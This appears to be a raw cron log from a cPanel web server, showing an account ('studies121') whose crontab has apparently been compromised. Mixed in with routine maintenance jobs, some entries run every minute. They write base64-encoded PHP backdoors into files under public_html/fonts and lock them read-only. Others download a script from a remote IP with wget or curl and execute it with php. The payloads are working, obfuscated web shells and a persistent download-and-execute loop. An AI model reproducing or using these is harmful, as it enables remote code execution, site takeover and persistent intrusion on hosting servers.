Sep 22 07:04:01 ip-184-168-122-23 CROND[10170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:05:01 ip-184-168-122-23 CROND[10333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:05:01 ip-184-168-122-23 CROND[10334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:05:01 ip-184-168-122-23 CROND[10336]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:05:01 ip-184-168-122-23 CROND[10338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:05:01 ip-184-168-122-23 CROND[10341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:05:01 ip-184-168-122-23 CROND[10342]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 07:05:01 ip-184-168-122-23 CROND[10339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:06:01 ip-184-168-122-23 CROND[10470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:06:01 ip-184-168-122-23 CROND[10471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:06:01 ip-184-168-122-23 CROND[10472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:06:01 ip-184-168-122-23 CROND[10473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:06:01 ip-184-168-122-23 CROND[10474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:07:01 ip-184-168-122-23 CROND[10607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:07:01 ip-184-168-122-23 CROND[10609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:07:01 ip-184-168-122-23 CROND[10610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:07:01 ip-184-168-122-23 CROND[10611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:08:01 ip-184-168-122-23 CROND[10740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:08:01 ip-184-168-122-23 CROND[10742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:08:01 ip-184-168-122-23 CROND[10743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:08:01 ip-184-168-122-23 CROND[10744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:08:01 ip-184-168-122-23 CROND[10745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:09:01 ip-184-168-122-23 CROND[10951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:09:01 ip-184-168-122-23 CROND[10953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:09:01 ip-184-168-122-23 CROND[10954]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 07:09:01 ip-184-168-122-23 CROND[10959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:09:01 ip-184-168-122-23 CROND[10958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:10:01 ip-184-168-122-23 CROND[11107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:10:01 ip-184-168-122-23 CROND[11104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:10:01 ip-184-168-122-23 CROND[11103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:10:01 ip-184-168-122-23 CROND[11105]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:10:01 ip-184-168-122-23 CROND[11106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:10:01 ip-184-168-122-23 CROND[11101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:10:01 ip-184-168-122-23 CROND[11108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:10:01 ip-184-168-122-23 CROND[11102]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 07:11:01 ip-184-168-122-23 CROND[11222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:11:01 ip-184-168-122-23 CROND[11223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:11:02 ip-184-168-122-23 CROND[11226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:11:02 ip-184-168-122-23 CROND[11227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:12:01 ip-184-168-122-23 CROND[11408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:12:01 ip-184-168-122-23 CROND[11411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:12:01 ip-184-168-122-23 CROND[11410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:12:01 ip-184-168-122-23 CROND[11412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:12:01 ip-184-168-122-23 CROND[11413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:13:01 ip-184-168-122-23 CROND[11560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:13:01 ip-184-168-122-23 CROND[11561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:13:01 ip-184-168-122-23 CROND[11562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:13:01 ip-184-168-122-23 CROND[11564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:14:01 ip-184-168-122-23 CROND[11757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:14:01 ip-184-168-122-23 CROND[11759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:14:01 ip-184-168-122-23 CROND[11760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:14:01 ip-184-168-122-23 CROND[11761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:14:01 ip-184-168-122-23 CROND[11762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:15:01 ip-184-168-122-23 CROND[11902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:15:01 ip-184-168-122-23 CROND[11904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:15:01 ip-184-168-122-23 CROND[11905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:15:01 ip-184-168-122-23 CROND[11906]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:15:01 ip-184-168-122-23 CROND[11907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:15:01 ip-184-168-122-23 CROND[11908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:16:01 ip-184-168-122-23 CROND[12073]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:16:01 ip-184-168-122-23 CROND[12074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
